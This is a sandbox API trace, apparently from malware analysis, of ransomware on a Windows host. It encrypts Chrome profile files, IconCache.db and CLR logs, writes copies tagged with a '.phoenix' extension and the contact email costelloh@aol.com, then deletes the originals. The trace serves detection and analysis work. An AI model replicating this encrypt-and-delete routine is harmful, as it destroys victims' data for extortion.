	[0265.734] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_metadata\\verified_contents.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_metadata\\verified_contents.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0265.739] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1513c0) returned 1
	[0265.739] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0265.739] ReadFile (in: hFile=0x254, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x3c76, lpOverlapped=0x0) returned 1
	[0265.742] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x3c80, dwBufLen=0x3c80 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x3c80) returned 1
	[0265.742] WriteFile (in: hFile=0x308, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x3c80, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x3c80, lpOverlapped=0x0) returned 1
	[0265.743] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151500) returned 1
	[0265.743] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0265.743] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50, dwBufLen=0x50 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50) returned 1
	[0265.743] CryptDestroyKey (hKey=0x151500) returned 1
	[0265.743] WriteFile (in: hFile=0x308, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x102, lpOverlapped=0x0) returned 1
	[0265.743] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0265.743] CloseHandle (hObject=0x254) returned 1
	[0265.743] CloseHandle (hObject=0x308) returned 1
	[0265.743] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_metadata\\verified_contents.json")) returned 1
	[0265.744] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0265.744] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\000003.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\local extension settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\000003.log"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0265.746] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=0) returned 1
	[0265.746] CloseHandle (hObject=0x308) returned 1
	[0265.746] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0265.746] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\000003.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\local storage\\leveldb\\000003.log"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0265.784] GetFileSizeEx (in: hFile=0x240, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=5839) returned 1
	[0265.784] CloseHandle (hObject=0x240) returned 1
	[0265.785] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\000003.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\local storage\\leveldb\\000003.log")) returned 0x20
	[0265.786] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\000003.log.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\local storage\\leveldb\\000003.log.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0265.786] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\000003.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\local storage\\leveldb\\000003.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0265.786] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0265.786] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0265.786] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\000003.log.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\local storage\\leveldb\\000003.log.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0265.789] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151600) returned 1
	[0265.789] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0265.789] ReadFile (in: hFile=0x240, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x16cf, lpOverlapped=0x0) returned 1
	[0265.812] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x16d0, dwBufLen=0x16d0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x16d0) returned 1
	[0265.812] WriteFile (in: hFile=0x2e8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x16d0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x16d0, lpOverlapped=0x0) returned 1
	[0265.813] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151640) returned 1
	[0265.813] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0265.813] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0265.813] CryptDestroyKey (hKey=0x151640) returned 1
	[0265.813] WriteFile (in: hFile=0x2e8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0265.813] CryptDestroyKey (hKey=0x151600) returned 1
	[0265.813] CloseHandle (hObject=0x240) returned 1
	[0265.813] CloseHandle (hObject=0x2e8) returned 1
	[0265.813] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\000003.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\local storage\\leveldb\\000003.log")) returned 1
	[0265.814] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0265.814] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Data\\LevelDB\\000003.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\sync data\\leveldb\\000003.log"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0265.816] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=46) returned 1
	[0265.816] CloseHandle (hObject=0x2e8) returned 1
	[0265.816] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Data\\LevelDB\\000003.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\sync data\\leveldb\\000003.log")) returned 0x20
	[0265.816] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Data\\LevelDB\\000003.log.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\sync data\\leveldb\\000003.log.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0265.816] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Data\\LevelDB\\000003.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\sync data\\leveldb\\000003.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0265.816] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0265.816] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0265.816] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Data\\LevelDB\\000003.log.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\sync data\\leveldb\\000003.log.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0265.817] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1512c0) returned 1
	[0265.817] CryptSetKeyParam (hKey=0x1512c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0265.817] ReadFile (in: hFile=0x2e8, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x2e, lpOverlapped=0x0) returned 1
	[0265.818] CryptEncrypt (in: hKey=0x1512c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x30, dwBufLen=0x30 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x30) returned 1
	[0265.818] WriteFile (in: hFile=0x240, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x30, lpOverlapped=0x0) returned 1
	[0265.818] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151100) returned 1
	[0265.818] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0265.818] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0265.818] CryptDestroyKey (hKey=0x151100) returned 1
	[0265.818] WriteFile (in: hFile=0x240, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0265.819] CryptDestroyKey (hKey=0x1512c0) returned 1
	[0265.819] CloseHandle (hObject=0x2e8) returned 1
	[0265.819] CloseHandle (hObject=0x240) returned 1
	[0265.819] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Data\\LevelDB\\000003.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\sync data\\leveldb\\000003.log")) returned 1
	[0265.820] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0265.820] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\000003.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\sync extension settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\000003.log"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0265.826] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=0) returned 1
	[0265.826] CloseHandle (hObject=0x2b0) returned 1
	[0265.826] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0265.826] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\IconCache.db" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\iconcache.db"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0265.826] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=69904) returned 1
	[0265.826] CloseHandle (hObject=0x2b0) returned 1
	[0265.826] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\IconCache.db" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\iconcache.db")) returned 0x22
	[0265.826] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\IconCache.db.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\iconcache.db.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0265.827] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\IconCache.db" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\iconcache.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0265.827] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0265.827] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0265.827] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\IconCache.db.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\iconcache.db.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0265.827] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151200) returned 1
	[0265.827] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0265.827] ReadFile (in: hFile=0x2b0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x11110, lpOverlapped=0x0) returned 1
	[0265.828] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x11120, dwBufLen=0x11120 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x11120) returned 1
	[0265.828] WriteFile (in: hFile=0x304, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x11120, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x11120, lpOverlapped=0x0) returned 1
	[0265.830] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x1516c0) returned 1
	[0265.830] CryptSetKeyParam (hKey=0x1516c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0265.830] CryptEncrypt (in: hKey=0x1516c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0265.830] CryptDestroyKey (hKey=0x1516c0) returned 1
	[0265.830] WriteFile (in: hFile=0x304, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0265.830] CryptDestroyKey (hKey=0x151200) returned 1
	[0265.830] CloseHandle (hObject=0x2b0) returned 1
	[0265.830] CloseHandle (hObject=0x304) returned 1
	[0265.830] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\IconCache.db" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\iconcache.db")) returned 1
	[0265.831] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0265.831] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v2.0\\UsageLogs\\WINPROJ.EXE.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v2.0\\usagelogs\\winproj.exe.log"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0265.832] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=20) returned 1
	[0265.832] CloseHandle (hObject=0x304) returned 1
	[0265.832] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v2.0\\UsageLogs\\WINPROJ.EXE.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v2.0\\usagelogs\\winproj.exe.log")) returned 0x20
	[0265.832] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v2.0\\UsageLogs\\WINPROJ.EXE.log.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v2.0\\usagelogs\\winproj.exe.log.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0265.832] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v2.0\\UsageLogs\\WINPROJ.EXE.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v2.0\\usagelogs\\winproj.exe.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0265.832] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0265.832] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0265.832] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v2.0\\UsageLogs\\WINPROJ.EXE.log.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v2.0\\usagelogs\\winproj.exe.log.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0265.833] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151100) returned 1
	[0265.833] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0265.833] ReadFile (in: hFile=0x304, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x14, lpOverlapped=0x0) returned 1
	[0265.833] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x20, dwBufLen=0x20 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x20) returned 1
	[0265.833] WriteFile (in: hFile=0x2b0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x20, lpOverlapped=0x0) returned 1
	[0265.834] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151040) returned 1
	[0265.834] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0265.834] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0265.834] CryptDestroyKey (hKey=0x151040) returned 1
	[0265.834] WriteFile (in: hFile=0x2b0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0265.834] CryptDestroyKey (hKey=0x151100) returned 1
	[0265.834] CloseHandle (hObject=0x304) returned 1
	[0265.834] CloseHandle (hObject=0x2b0) returned 1
	[0265.835] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v2.0\\UsageLogs\\WINPROJ.EXE.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v2.0\\usagelogs\\winproj.exe.log")) returned 1
	[0265.835] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0265.835] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\ngen.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0\\ngen.log"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0265.853] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=335) returned 1
	[0265.853] CloseHandle (hObject=0x304) returned 1
	[0265.853] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\ngen.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0\\ngen.log")) returned 0x20
	[0265.853] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\ngen.log.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0\\ngen.log.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
